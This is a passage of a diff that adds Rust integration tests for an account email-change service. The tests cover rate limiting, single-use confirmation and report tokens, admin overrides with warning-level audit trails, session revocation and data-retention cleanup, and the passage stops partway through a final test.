1985 + let user = verified_user(&db).await;
1986 +
1987 + let result = service()
1988 + .request_change(&db, user.id, "not-an-email", PASSWORD)
1989 + .await;
1990 +
1991 + assert!(
1992 + matches!(result, Err(AppError::Validation(_))),
1993 + "expected Validation, got {result:?}"
1994 + );
1995 + assert!(pending_rows(&db, user.id).await.is_empty());
1996 + assert_eq!(reload(&db, user.id).await.email, user.email);
1997 + }
1998 +
1999 + /// RFC 0041 test 5 — an address already owned by another account.
2000 + #[tokio::test]
2001 + async fn request_change_on_a_taken_address_is_refused() {
2002 + let db = test_db().await;
2003 + let alice = verified_user(&db).await;
2004 + let bob = verified_user(&db).await;
2005 +
2006 + let result = service()
2007 + .request_change(&db, alice.id, &bob.email, PASSWORD)
2008 + .await;
2009 +
2010 + assert!(
2011 + matches!(result, Err(AppError::Validation(_))),
2012 + "expected Validation, got {result:?}"
2013 + );
2014 + assert!(pending_rows(&db, alice.id).await.is_empty());
2015 + }
2016 +
2017 + /// RFC 0041 test 6 — echoing the current address is a refusal here, not a
2018 + /// silent no-op: `request_change` expresses an explicit intent, unlike a
2019 + /// profile form that resubmits every field.
2020 + #[tokio::test]
2021 + async fn request_change_on_the_current_address_is_refused() {
2022 + let db = test_db().await;
2023 + let user = verified_user(&db).await;
2024 +
2025 + let result = service()
2026 + .request_change(&db, user.id, &user.email, PASSWORD)
2027 + .await;
2028 +
2029 + assert!(
2030 + matches!(result, Err(AppError::Validation(_))),
2031 + "expected Validation, got {result:?}"
2032 + );
2033 + assert!(pending_rows(&db, user.id).await.is_empty());
2034 + assert_eq!(
2035 + queued_count(&db, &user.email, "email_change_notice").await,
2036 + 0,
2037 + "a refused request must not mail anybody"
2038 + );
2039 + }
2040 +
2041 + /// RFC 0041 test 7 — the per-user budget bounds "one account spamming
2042 + /// third-party mailboxes".
2043 + #[tokio::test]
2044 + async fn the_fourth_request_within_the_hour_is_rate_limited() {
2045 + let db = test_db().await;
2046 + let user = verified_user(&db).await;
2047 + let svc = service();
2048 +
2049 + for i in 1..=EMAIL_CHANGE_RATE_LIMIT_MAX {
2050 + svc.request_change(&db, user.id, &fresh_email(), PASSWORD)
2051 + .await
2052 + .unwrap_or_else(|e| panic!("request {i} must succeed: {e:?}"));
2053 + }
2054 +
2055 + let candidate = fresh_email();
2056 + let result = svc.request_change(&db, user.id, &candidate, PASSWORD).await;
2057 + match result {
2058 + Err(AppError::TooManyRequests { retry_after_secs }) => assert!(
2059 + retry_after_secs > 0,
2060 + "a 429 must carry an actionable Retry-After"
2061 + ),
2062 + other => panic!("expected TooManyRequests, got {other:?}"),
2063 + }
2064 + assert_eq!(
2065 + queued_count(&db, &candidate, "email_change_validation").await,
2066 + 0,
2067 + "a throttled request must not mail the candidate address"
2068 + );
2069 + }
2070 +
2071 + /// RFC 0041 test 10 — a second request consumes the first: two live links
2072 + /// would mean two ways to move the account's identity.
2073 + #[tokio::test]
2074 + async fn a_new_request_consumes_the_previous_one() {
2075 + let db = test_db().await;
2076 + let user = verified_user(&db).await;
2077 + let svc = service();
2078 +
2079 + let first_candidate = fresh_email();
2080 + svc.request_change(&db, user.id, &first_candidate, PASSWORD)
2081 + .await
2082 + .expect("first request");
2083 + let first_token = confirmation_token(&db, &first_candidate).await;
2084 +
2085 + let second_candidate = fresh_email();
2086 + svc.request_change(&db, user.id, &second_candidate, PASSWORD)
2087 + .await
2088 + .expect("second request");
2089 +
2090 + assert_eq!(
2091 + EmailChangeService::inspect_confirmation_token(&db, &first_token)
2092 + .await
2093 + .expect("inspect"),
2094 + EmailChangeLinkState::Used,
2095 + "the superseded link must be dead"
2096 + );
2097 + assert!(
2098 + svc.confirm_change(&db, &first_token, None).await.is_err(),
2099 + "the superseded token must not confirm"
2100 + );
2101 + assert_eq!(
2102 + reload(&db, user.id).await.email,
2103 + user.email,
2104 + "a dead token must not move the address"
2105 + );
2106 + }
2107 +
2108 + // ── confirm_change ──────────────────────────────────────────────────────
2109 +
2110 + /// RFC 0041 test 2 — the happy path, including the session closure the
2111 + /// flow promises.
2112 + #[tokio::test]
2113 + async fn confirm_change_applies_the_address_and_closes_every_session() {
2114 + let db = test_db().await;
2115 + let user = verified_user(&db).await;
2116 + let candidate = fresh_email();
2117 + let svc = service();
2118 +
2119 + RefreshTokenService::create_refresh_token(&db, user.id, 30)
2120 + .await
2121 + .expect("seed a live session");
2122 +
2123 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2124 + .await
2125 + .expect("request");
2126 + let token = confirmation_token(&db, &candidate).await;
2127 +
2128 + let changed_id = svc
2129 + .confirm_change(&db, &token, None)
2130 + .await
2131 + .expect("confirmation must succeed");
2132 + assert_eq!(changed_id, user.id);
2133 +
2134 + let reloaded = reload(&db, user.id).await;
2135 + assert_eq!(
2136 + reloaded.email, candidate,
2137 + "the new address is now the account's"
2138 + );
2139 + assert!(
2140 + reloaded.email_verified,
2141 + "clicking the link IS the proof of possession"
2142 + );
2143 + assert!(reloaded.email_verified_at.is_some());
2144 +
2145 + let rows = pending_rows(&db, user.id).await;
2146 + assert_eq!(rows.len(), 1);
2147 + assert!(rows[0].used_at.is_some(), "the row must be consumed");
2148 +
2149 + assert_eq!(
2150 + live_sessions(&db, user.id).await,
2151 + 0,
2152 + "the login identity moved: every session must re-authenticate"
2153 + );
2154 + assert_eq!(
2155 + audit_rows(&db, user.id, "email_changed").await.len(),
2156 + 1,
2157 + "exactly one audit row"
2158 + );
2159 + }
2160 +
2161 + /// RFC 0041 test 8 — the three refusal shapes, each leaving the account
2162 + /// untouched.
2163 + #[tokio::test]
2164 + async fn confirm_change_refuses_unknown_expired_and_used_tokens() {
2165 + let db = test_db().await;
2166 + let svc = service();
2167 +
2168 + // Unknown.
2169 + let unknown = Uuid::new_v4().to_string();
2170 + assert!(matches!(
2171 + svc.confirm_change(&db, &unknown, None).await,
2172 + Err(AppError::Validation(_))
2173 + ));
2174 + assert_eq!(
2175 + EmailChangeService::inspect_confirmation_token(&db, &unknown)
2176 + .await
2177 + .expect("inspect"),
2178 + EmailChangeLinkState::Unknown
2179 + );
2180 +
2181 + // Expired.
2182 + let expired_user = verified_user(&db).await;
2183 + let expired_candidate = fresh_email();
2184 + svc.request_change(&db, expired_user.id, &expired_candidate, PASSWORD)
2185 + .await
2186 + .expect("request");
2187 + let expired_token = confirmation_token(&db, &expired_candidate).await;
2188 + expire(&db, pending_rows(&db, expired_user.id).await.remove(0)).await;
2189 + assert!(matches!(
2190 + svc.confirm_change(&db, &expired_token, None).await,
2191 + Err(AppError::Validation(_))
2192 + ));
2193 + assert_eq!(
2194 + EmailChangeService::inspect_confirmation_token(&db, &expired_token)
2195 + .await
2196 + .expect("inspect"),
2197 + EmailChangeLinkState::Expired
2198 + );
2199 + assert_eq!(
2200 + reload(&db, expired_user.id).await.email,
2201 + expired_user.email,
2202 + "an expired link must not move the address"
2203 + );
2204 +
2205 + // Already used.
2206 + let used_user = verified_user(&db).await;
2207 + let used_candidate = fresh_email();
2208 + svc.request_change(&db, used_user.id, &used_candidate, PASSWORD)
2209 + .await
2210 + .expect("request");
2211 + let used_token = confirmation_token(&db, &used_candidate).await;
2212 + svc.confirm_change(&db, &used_token, None)
2213 + .await
2214 + .expect("first confirmation");
2215 + assert!(matches!(
2216 + svc.confirm_change(&db, &used_token, None).await,
2217 + Err(AppError::Validation(_))
2218 + ));
2219 + assert_eq!(
2220 + EmailChangeService::inspect_confirmation_token(&db, &used_token)
2221 + .await
2222 + .expect("inspect"),
2223 + EmailChangeLinkState::Used
2224 + );
2225 + assert_eq!(
2226 + reload(&db, used_user.id).await.email,
2227 + used_candidate,
2228 + "replaying a used link must not change the address a second time"
2229 + );
2230 + }
2231 +
2232 + /// RFC 0041 test 9 — two accounts racing for the same address. The loser
2233 + /// gets a neutral message and keeps a **reusable** row.
2234 + #[tokio::test]
2235 + async fn the_loser_of_a_race_keeps_a_reusable_row() {
2236 + let db = test_db().await;
2237 + let alice = verified_user(&db).await;
2238 + let bob = verified_user(&db).await;
2239 + let shared = fresh_email();
2240 + let svc = service();
2241 +
2242 + svc.request_change(&db, alice.id, &shared, PASSWORD)
2243 + .await
2244 + .expect("alice requests");
2245 + let alice_token = confirmation_token(&db, &shared).await;
2246 +
2247 + svc.request_change(&db, bob.id, &shared, PASSWORD)
2248 + .await
2249 + .expect("bob requests the same address");
2250 + let bob_token = confirmation_token(&db, &shared).await;
2251 + assert_ne!(alice_token, bob_token, "two requests, two secrets");
2252 +
2253 + svc.confirm_change(&db, &alice_token, None)
2254 + .await
2255 + .expect("alice confirms first");
2256 +
2257 + match svc.confirm_change(&db, &bob_token, None).await {
2258 + Err(AppError::Validation(msg)) => assert!(
2259 + !msg.contains(&alice.username) && !msg.contains(&alice.email),
2260 + "the refusal must not name the winning account: {msg}"
2261 + ),
2262 + other => panic!("expected Validation, got {other:?}"),
2263 + }
2264 + assert_eq!(
2265 + reload(&db, bob.id).await.email,
2266 + bob.email,
2267 + "bob keeps his address"
2268 + );
2269 + let bob_rows = pending_rows(&db, bob.id).await;
2270 + assert_eq!(bob_rows.len(), 1);
2271 + assert!(
2272 + bob_rows[0].used_at.is_none(),
2273 + "losing the race must not burn bob's link: it works again if the address frees up"
2274 + );
2275 + }
2276 +
2277 + /// RFC 0041 test 17 — a password-change link mailed to the previous
2278 + /// address must die with that address.
2279 + #[tokio::test]
2280 + async fn confirm_change_drops_pending_password_change_requests() {
2281 + let db = test_db().await;
2282 + let user = verified_user(&db).await;
2283 + let candidate = fresh_email();
2284 + let password_service = PasswordChangeService::new();
2285 +
2286 + password_service
2287 + .create_pending_request(&db, user.id, "AnotherPassword1!")
2288 + .await
2289 + .expect("seed a pending password change");
2290 + assert!(
2291 + password_service
2292 + .find_pending_by_user_id(&db, user.id)
2293 + .await
2294 + .expect("lookup")
2295 + .is_some(),
2296 + "precondition: a pending password change exists"
2297 + );
2298 +
2299 + let svc = service();
2300 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2301 + .await
2302 + .expect("request");
2303 + let token = confirmation_token(&db, &candidate).await;
2304 + svc.confirm_change(&db, &token, None)
2305 + .await
2306 + .expect("confirmation");
2307 +
2308 + assert!(
2309 + password_service
2310 + .find_pending_by_user_id(&db, user.id)
2311 + .await
2312 + .expect("lookup")
2313 + .is_none(),
2314 + "the pending password change must be gone"
2315 + );
2316 + }
2317 +
2318 + /// RFC 0041 test 16 — hooks dispatched on confirmation, addresses masked.
2319 + #[tokio::test]
2320 + async fn confirm_change_dispatches_audit_and_email_verified_hooks() {
2321 + let db = test_db().await;
2322 + let user = verified_user(&db).await;
2323 + let candidate = fresh_email();
2324 + let (hooks, audit, verified) = capturing_hooks();
2325 + let svc = service();
2326 +
2327 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2328 + .await
2329 + .expect("request");
2330 + let token = confirmation_token(&db, &candidate).await;
2331 + svc.confirm_change(&db, &token, Some(&hooks))
2332 + .await
2333 + .expect("confirmation");
2334 +
2335 + let events = audit.lock().expect("audit sink").clone();
2336 + let changed = events
2337 + .iter()
2338 + .find(|event| event.kind == "user.email_changed")
2339 + .unwrap_or_else(|| panic!("user.email_changed must be dispatched, got {events:?}"));
2340 + assert_eq!(
2341 + changed.target,
2342 + Some(("user".to_string(), user.id)),
2343 + "the event must name the account whose address moved"
2344 + );
2345 + let metadata = changed.metadata.to_string();
2346 + assert!(
2347 + !metadata.contains(&candidate) && !metadata.contains(&user.email),
2348 + "hook metadata must carry masked addresses only: {metadata}"
2349 + );
2350 + assert!(
2351 + verified.lock().expect("verified sink").contains(&user.id),
2352 + "the click is the proof of possession: on_email_verified must fire"
2353 + );
2354 + }
2355 +
2356 + /// The two secrets are not interchangeable.
2357 + #[tokio::test]
2358 + async fn a_report_token_cannot_confirm_and_a_confirmation_token_cannot_report() {
2359 + let db = test_db().await;
2360 + let user = verified_user(&db).await;
2361 + let candidate = fresh_email();
2362 + let svc = service();
2363 +
2364 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2365 + .await
2366 + .expect("request");
2367 + let confirm = confirmation_token(&db, &candidate).await;
2368 + let report = report_token(&db, &user.email).await;
2369 +
2370 + assert!(
2371 + svc.confirm_change(&db, &report, None).await.is_err(),
2372 + "the report token must not confirm the change"
2373 + );
2374 + assert!(
2375 + svc.report_suspicious(&db, &confirm, None).await.is_err(),
2376 + "the confirmation token must not file a report"
2377 + );
2378 + assert_eq!(reload(&db, user.id).await.email, user.email);
2379 + let rows = pending_rows(&db, user.id).await;
2380 + // The admin fan-out sits behind the `reported_at` write, so an
2381 + // unflagged row is also a row that woke nobody. Counting admin mails
2382 + // directly would race with the other tests sharing this database.
2383 + assert!(rows[0].used_at.is_none() && rows[0].reported_at.is_none());
2384 + }
2385 +
2386 + /// RFC 0041 test 15 — deleting the account takes its pending requests with
2387 + /// it (FK `ON DELETE CASCADE`).
2388 + #[tokio::test]
2389 + async fn deleting_a_user_cascades_to_their_pending_requests() {
2390 + let db = test_db().await;
2391 + let user = verified_user(&db).await;
2392 +
2393 + service()
2394 + .request_change(&db, user.id, &fresh_email(), PASSWORD)
2395 + .await
2396 + .expect("request");
2397 + assert_eq!(pending_rows(&db, user.id).await.len(), 1);
2398 +
2399 + UserService::delete_user(&db, user.id, None)
2400 + .await
2401 + .expect("delete user");
2402 +
2403 + assert!(
2404 + pending_rows(&db, user.id).await.is_empty(),
2405 + "pending rows must not survive their owner"
2406 + );
2407 + }
2408 +
2409 + // ── report_suspicious ───────────────────────────────────────────────────
2410 +
2411 + /// RFC 0041 tests 11-13 — the report alerts, traces, and does **not**
2412 + /// block: the mailbox receiving this link may alert, never decide.
2413 + #[tokio::test]
2414 + async fn report_suspicious_alerts_and_traces_without_blocking_the_change() {
2415 + let db = test_db().await;
2416 + let user = verified_user(&db).await;
2417 + let candidate = fresh_email();
2418 + let (hooks, audit, _) = capturing_hooks();
2419 + let svc = service();
2420 +
2421 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2422 + .await
2423 + .expect("request");
2424 + let report = report_token(&db, &user.email).await;
2425 + let confirm = confirmation_token(&db, &candidate).await;
2426 +
2427 + let reported_id = svc
2428 + .report_suspicious(&db, &report, Some(&hooks))
2429 + .await
2430 + .expect("report must succeed");
2431 + assert_eq!(reported_id, user.id);
2432 +
2433 + let rows = pending_rows(&db, user.id).await;
2434 + assert!(rows[0].reported_at.is_some(), "the row must be flagged");
2435 + assert!(
2436 + rows[0].used_at.is_none(),
2437 + "a report must not consume the request"
2438 + );
2439 +
2440 + let audits = audit_rows(&db, user.id, "email_change_reported").await;
2441 + assert_eq!(audits.len(), 1, "exactly one audit row");
2442 + assert_eq!(audits[0].level, "WARN", "a report is a warning-level event");
2443 + assert!(
2444 + !audits[0].message.contains(&candidate),
2445 + "the audit message must carry masked addresses only"
2446 + );
2447 +
2448 + let events = audit.lock().expect("audit sink").clone();
2449 + assert!(
2450 + events
2451 + .iter()
2452 + .any(|event| event.kind == "user.email_change_reported"),
2453 + "the audit hook must be dispatched, got {events:?}"
2454 + );
2455 +
2456 + // The decisive assertion: a report does not veto the change.
2457 + svc.confirm_change(&db, &confirm, None)
2458 + .await
2459 + .expect("a reported request must still be confirmable");
2460 + assert_eq!(reload(&db, user.id).await.email, candidate);
2461 + }
2462 +
2463 + /// Double click, page refresh, browser form resend: the second report is a
2464 + /// no-op, not a second wake-up call for every administrator.
2465 + #[tokio::test]
2466 + async fn replaying_a_report_is_idempotent() {
2467 + let db = test_db().await;
2468 + let user = verified_user(&db).await;
2469 + let svc = service();
2470 +
2471 + svc.request_change(&db, user.id, &fresh_email(), PASSWORD)
2472 + .await
2473 + .expect("request");
2474 + let report = report_token(&db, &user.email).await;
2475 +
2476 + let first_id = svc
2477 + .report_suspicious(&db, &report, None)
2478 + .await
2479 + .expect("first report");
2480 + let first_at = pending_rows(&db, user.id).await[0]
2481 + .reported_at
2482 + .expect("the row must be flagged");
2483 +
2484 + let second_id = svc
2485 + .report_suspicious(&db, &report, None)
2486 + .await
2487 + .expect("a replay must not fail");
2488 +
2489 + assert_eq!(second_id, first_id);
2490 + assert_eq!(
2491 + pending_rows(&db, user.id).await[0].reported_at,
2492 + Some(first_at),
2493 + "the first report timestamp stands"
2494 + );
2495 + assert_eq!(
2496 + audit_rows(&db, user.id, "email_change_reported")
2497 + .await
2498 + .len(),
2499 + 1,
2500 + "replaying must not wake every administrator twice"
2501 + );
2502 + }
2503 +
2504 + /// RFC 0041 test 14 — reporting an already-consumed request stays useful:
2505 + /// the operator signal keeps its value after the fact.
2506 + #[tokio::test]
2507 + async fn a_consumed_request_can_still_be_reported() {
2508 + let db = test_db().await;
2509 + let user = verified_user(&db).await;
2510 + let candidate = fresh_email();
2511 + let svc = service();
2512 +
2513 + svc.request_change(&db, user.id, &candidate, PASSWORD)
2514 + .await
2515 + .expect("request");
2516 + let report = report_token(&db, &user.email).await;
2517 + let confirm = confirmation_token(&db, &candidate).await;
2518 + svc.confirm_change(&db, &confirm, None)
2519 + .await
2520 + .expect("confirmation");
2521 +
2522 + svc.report_suspicious(&db, &report, None)
2523 + .await
2524 + .expect("reporting after the fact must still work");
2525 +
2526 + let rows = pending_rows(&db, user.id).await;
2527 + assert!(rows[0].used_at.is_some() && rows[0].reported_at.is_some());
2528 + assert_eq!(
2529 + audit_rows(&db, user.id, "email_change_reported")
2530 + .await
2531 + .len(),
2532 + 1,
2533 + "the operator is alerted even though the change already landed"
2534 + );
2535 + assert_eq!(
2536 + reload(&db, user.id).await.email,
2537 + candidate,
2538 + "a late report does not roll the change back"
2539 + );
2540 + }
2541 +
2542 + // ── admin_force_change ──────────────────────────────────────────────────
2543 +
2544 + /// RFC 0041 tests 23-25 — the operator recourse: a write without proof of
2545 + /// possession, traced as a warning and never silent.
2546 + #[tokio::test]
2547 + async fn admin_force_change_writes_without_proof_and_traces_it_as_a_warning() {
2548 + let db = test_db().await;
2549 + let admin = verified_user(&db).await;
2550 + if !promote_to_admin(&db, admin.id).await {
2551 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2552 + return;
2553 + }
2554 + let target = verified_user(&db).await;
2555 + let fixed = fresh_email();
2556 + let (hooks, audit, verified) = capturing_hooks();
2557 +
2558 + RefreshTokenService::create_refresh_token(&db, target.id, 30)
2559 + .await
2560 + .expect("seed a live session");
2561 +
2562 + service()
2563 + .admin_force_change(&db, admin.id, target.id, &fixed, Some(&hooks))
2564 + .await
2565 + .expect("the override must succeed");
2566 +
2567 + let reloaded = reload(&db, target.id).await;
2568 + assert_eq!(reloaded.email, fixed);
2569 + assert!(
2570 + reloaded.email_verified,
2571 + "the operator vouches for the address out of band"
2572 + );
2573 + assert_eq!(
2574 + live_sessions(&db, target.id).await,
2575 + 0,
2576 + "the target's sessions must close, like any identity move"
2577 + );
2578 +
2579 + let audits = audit_rows(&db, target.id, "email_changed_by_admin").await;
2580 + assert_eq!(audits.len(), 1, "exactly one audit row");
2581 + assert_eq!(
2582 + audits[0].level, "WARN",
2583 + "an identity write without proof must surface"
2584 + );
2585 + assert_eq!(
2586 + audits[0].user_id,
2587 + Some(admin.id),
2588 + "the acting operator must be named"
2589 + );
2590 + assert!(
2591 + !audits[0].message.contains(&fixed) && !audits[0].message.contains(&target.email),
2592 + "the audit message must carry masked addresses only"
2593 + );
2594 +
2595 + let events = audit.lock().expect("audit sink").clone();
2596 + let forced = events
2597 + .iter()
2598 + .find(|event| event.kind == "user.email_changed_by_admin")
2599 + .unwrap_or_else(|| {
2600 + panic!("user.email_changed_by_admin must be dispatched, got {events:?}")
2601 + });
2602 + assert_eq!(
2603 + forced.actor_id,
2604 + Some(admin.id),
2605 + "the event must name the acting operator"
2606 + );
2607 + assert_eq!(
2608 + forced.target,
2609 + Some(("user".to_string(), target.id)),
2610 + "the event must name the account that was rewritten"
2611 + );
2612 + assert!(
2613 + !verified.lock().expect("verified sink").contains(&target.id),
2614 + "nobody proved possession: on_email_verified must NOT fire"
2615 + );
2616 +
2617 + // Both mailboxes informed; there is nothing left to confirm, so
2618 + // neither mail carries an action link.
2619 + for mailbox in [target.email.as_str(), fixed.as_str()] {
2620 + let mail = last_queued(&db, mailbox, "email_change_by_admin")
2621 + .await
2622 + .unwrap_or_else(|| panic!("no notice queued for {mailbox}"));
2623 + for body in [&mail.body_text, &mail.body_html] {
2624 + assert!(
2625 + !body.contains("/email-change/confirm/")
2626 + && !body.contains("/email-change/report/"),
2627 + "an operator-driven change leaves nothing to click"
2628 + );
2629 + }
2630 + }
2631 + }
2632 +
2633 + /// RFC 0041 test 26 — the route middleware is not the only gate: a
2634 + /// headless call straight to the service is refused too.
2635 + #[tokio::test]
2636 + async fn admin_force_change_refuses_a_non_admin_actor() {
2637 + let db = test_db().await;
2638 + let actor = verified_user(&db).await;
2639 + let target = verified_user(&db).await;
2640 + let candidate = fresh_email();
2641 +
2642 + let result = service()
2643 + .admin_force_change(&db, actor.id, target.id, &candidate, None)
2644 + .await;
2645 +
2646 + assert!(
2647 + matches!(result, Err(AppError::Forbidden)),
2648 + "expected Forbidden, got {result:?}"
2649 + );
2650 + assert_eq!(
2651 + reload(&db, target.id).await.email,
2652 + target.email,
2653 + "nothing may be written"
2654 + );
2655 + assert!(
2656 + audit_rows(&db, target.id, "email_changed_by_admin")
2657 + .await
2658 + .is_empty(),
2659 + "a refused override leaves no trail to read"
2660 + );
2661 + }
2662 +
2663 + /// RFC 0041 test 27 — a still-valid confirmation link must not overwrite
2664 + /// the address the operator just set.
2665 + #[tokio::test]
2666 + async fn admin_force_change_kills_a_live_confirmation_link() {
2667 + let db = test_db().await;
2668 + let admin = verified_user(&db).await;
2669 + if !promote_to_admin(&db, admin.id).await {
2670 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2671 + return;
2672 + }
2673 + let target = verified_user(&db).await;
2674 + let candidate = fresh_email();
2675 + let fixed = fresh_email();
2676 + let svc = service();
2677 +
2678 + svc.request_change(&db, target.id, &candidate, PASSWORD)
2679 + .await
2680 + .expect("the user opens a request");
2681 + let token = confirmation_token(&db, &candidate).await;
2682 +
2683 + svc.admin_force_change(&db, admin.id, target.id, &fixed, None)
2684 + .await
2685 + .expect("the operator overrides it");
2686 +
2687 + assert_eq!(
2688 + EmailChangeService::inspect_confirmation_token(&db, &token)
2689 + .await
2690 + .expect("inspect"),
2691 + EmailChangeLinkState::Used,
2692 + "the pending request must be consumed by the override"
2693 + );
2694 + assert!(
2695 + svc.confirm_change(&db, &token, None).await.is_err(),
2696 + "a stale link must not resurrect the previous candidate address"
2697 + );
2698 + assert_eq!(reload(&db, target.id).await.email, fixed);
2699 + }
2700 +
2701 + /// Admin forms resubmit every field: echoing the current address must not
2702 + /// pollute the trail with a change that did not happen.
2703 + #[tokio::test]
2704 + async fn admin_force_change_on_the_current_address_is_a_silent_noop() {
2705 + let db = test_db().await;
2706 + let admin = verified_user(&db).await;
2707 + if !promote_to_admin(&db, admin.id).await {
2708 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2709 + return;
2710 + }
2711 + let target = verified_user(&db).await;
2712 +
2713 + service()
2714 + .admin_force_change(&db, admin.id, target.id, &target.email, None)
2715 + .await
2716 + .expect("echoing the current address must not fail");
2717 +
2718 + assert_eq!(reload(&db, target.id).await.email, target.email);
2719 + assert!(
2720 + audit_rows(&db, target.id, "email_changed_by_admin")
2721 + .await
2722 + .is_empty(),
2723 + "a no-op must not be traced as a change"
2724 + );
2725 + assert_eq!(
2726 + queued_count(&db, &target.email, "email_change_by_admin").await,
2727 + 0,
2728 + "a no-op must not mail anybody"
2729 + );
2730 + }
2731 +
2732 + /// RFC 0041 test 26 (suite) — an unknown actor is a `NotFound`, not a
2733 + /// silent `Forbidden`: the two say different things to an operator.
2734 + #[tokio::test]
2735 + async fn admin_force_change_with_an_unknown_actor_is_not_found() {
2736 + let db = test_db().await;
2737 + let target = verified_user(&db).await;
2738 +
2739 + let result = service()
2740 + .admin_force_change(&db, Uuid::new_v4(), target.id, &fresh_email(), None)
2741 + .await;
2742 +
2743 + assert!(
2744 + matches!(result, Err(AppError::NotFound(_))),
2745 + "expected NotFound, got {result:?}"
2746 + );
2747 + assert_eq!(reload(&db, target.id).await.email, target.email);
2748 + }
2749 +
2750 + /// RFC 0041 test 27 — the operator recourse is not a licence to duplicate
2751 + /// an address: uniqueness still holds.
2752 + #[tokio::test]
2753 + async fn admin_force_change_on_a_taken_address_is_refused() {
2754 + let db = test_db().await;
2755 + let admin = verified_user(&db).await;
2756 + if !promote_to_admin(&db, admin.id).await {
2757 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2758 + return;
2759 + }
2760 + let target = verified_user(&db).await;
2761 + let neighbour = verified_user(&db).await;
2762 +
2763 + let result = service()
2764 + .admin_force_change(&db, admin.id, target.id, &neighbour.email, None)
2765 + .await;
2766 +
2767 + assert!(
2768 + matches!(result, Err(AppError::Validation(_))),
2769 + "expected Validation, got {result:?}"
2770 + );
2771 + assert_eq!(reload(&db, target.id).await.email, target.email);
2772 + assert_eq!(reload(&db, neighbour.id).await.email, neighbour.email);
2773 + }
2774 +
2775 + /// RFC 0041 test 17, admin side — same reason as on the user path: a
2776 + /// password-change link mailed to the previous address must not survive it.
2777 + #[tokio::test]
2778 + async fn admin_force_change_drops_pending_password_change_requests() {
2779 + let db = test_db().await;
2780 + let admin = verified_user(&db).await;
2781 + if !promote_to_admin(&db, admin.id).await {
2782 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2783 + return;
2784 + }
2785 + let target = verified_user(&db).await;
2786 + let password_service = PasswordChangeService::new();
2787 +
2788 + password_service
2789 + .create_pending_request(&db, target.id, "AnotherPassword1!")
2790 + .await
2791 + .expect("seed a pending password change");
2792 +
2793 + service()
2794 + .admin_force_change(&db, admin.id, target.id, &fresh_email(), None)
2795 + .await
2796 + .expect("override");
2797 +
2798 + assert!(
2799 + password_service
2800 + .find_pending_by_user_id(&db, target.id)
2801 + .await
2802 + .expect("lookup")
2803 + .is_none(),
2804 + "the pending password change must be gone"
2805 + );
2806 + }
2807 +
2808 + /// The operator keeps working: only the target account is logged out.
2809 + #[tokio::test]
2810 + async fn admin_force_change_leaves_the_operators_own_sessions_alone() {
2811 + let db = test_db().await;
2812 + let admin = verified_user(&db).await;
2813 + if !promote_to_admin(&db, admin.id).await {
2814 + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)");
2815 + return;
2816 + }
2817 + let target = verified_user(&db).await;
2818 +
2819 + RefreshTokenService::create_refresh_token(&db, admin.id, 30)
2820 + .await
2821 + .expect("seed the operator's session");
2822 + RefreshTokenService::create_refresh_token(&db, target.id, 30)
2823 + .await
2824 + .expect("seed the target's session");
2825 +
2826 + service()
2827 + .admin_force_change(&db, admin.id, target.id, &fresh_email(), None)
2828 + .await
2829 + .expect("override");
2830 +
2831 + assert_eq!(
2832 + live_sessions(&db, target.id).await,
2833 + 0,
2834 + "the rewritten account must re-authenticate"
2835 + );
2836 + assert_eq!(
2837 + live_sessions(&db, admin.id).await,
2838 + 1,
2839 + "the operator must not be logged out by their own action"
2840 + );
2841 + }
2842 +
2843 + // ── Retention ───────────────────────────────────────────────────────────
2844 +
2845 + /// RFC 0041 test 28 — `new_email` is personal data in clear text: it must
2846 + /// not outlive the retention window.
2847 + #[tokio::test]
2848 + async fn cleanup_expired_deletes_rows_past_the_retention_window() {
2849 + let _serialised = RETENTION_GUARD.lock().await;
2850 + let db = test_db().await;
2851 + let user = verified_user(&db).await;
2852 +
2853 + service()
2854 + .request_change(&db, user.id, &fresh_email(), PASSWORD)
2855 + .await
2856 + .expect("request");
2857 + let mut active: pending_email_change::ActiveModel =
2858 + pending_rows(&db, user.id).await.remove(0).into();
2859 + active.expires_at =
2860 + Set(Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1));
2861 + active.update(&db).await.expect("age the row");
2862 +
2863 + EmailChangeService::cleanup_expired(&db)
2864 + .await
2865 + .expect("cleanup");
2866 +
2867 + assert!(
2868 + pending_rows(&db, user.id).await.is_empty(),
2869 + "a row past retention must be hard-deleted"
2870 + );
2871 + }
2872 +
2873 + /// RFC 0041 test 29 — a merely expired row stays: the user who clicks late
2874 + /// deserves "this link expired", not "unknown token".
2875 + #[tokio::test]
2876 + async fn cleanup_expired_keeps_rows_still_within_retention() {
2877 + let _serialised = RETENTION_GUARD.lock().await;
2878 + let db = test_db().await;
2879 + let user = verified_user(&db).await;
2880 + let candidate = fresh_email();
2881 +
2882 + service()
2883 + .request_change(&db, user.id, &candidate, PASSWORD)
2884 + .await
2885 + .expect("request");
2886 + let token = confirmation_token(&db, &candidate).await;
2887 + expire(&db, pending_rows(&db, user.id).await.remove(0)).await;
2888 +
2889 + EmailChangeService::cleanup_expired(&db)
2890 + .await
2891 + .expect("cleanup");
2892 +
2893 + assert_eq!(pending_rows(&db, user.id).await.len(), 1);
2894 + assert_eq!(
2895 + EmailChangeService::inspect_confirmation_token(&db, &token)
2896 + .await
2897 + .expect("inspect"),
2898 + EmailChangeLinkState::Expired,
2899 + "within retention the link explains itself instead of looking unknown"
2900 + );
2901 + }
2902 +
2903 + /// RFC 0041 test 30 — retention is honoured even by a consumer that never
2904 + /// starts the cleanup processor: the next request purges the user's own
2905 + /// stale rows, and only those.
2906 + #[tokio::test]
2907 + async fn a_new_request_purges_the_users_own_stale_rows_only() {
2908 + let _serialised = RETENTION_GUARD.lock().await;
2909 + let db = test_db().await;
2910 + let user = verified_user(&db).await;
2911 + let neighbour = verified_user(&db).await;
2912 + let svc = service();
2913 +
2914 + for owner in [&user, &neighbour] {
2915 + svc.request_change(&db, owner.id, &fresh_email(), PASSWORD)
2916 + .await
2917 + .expect("seed a request");
2918 + let mut active: pending_email_change::ActiveModel =
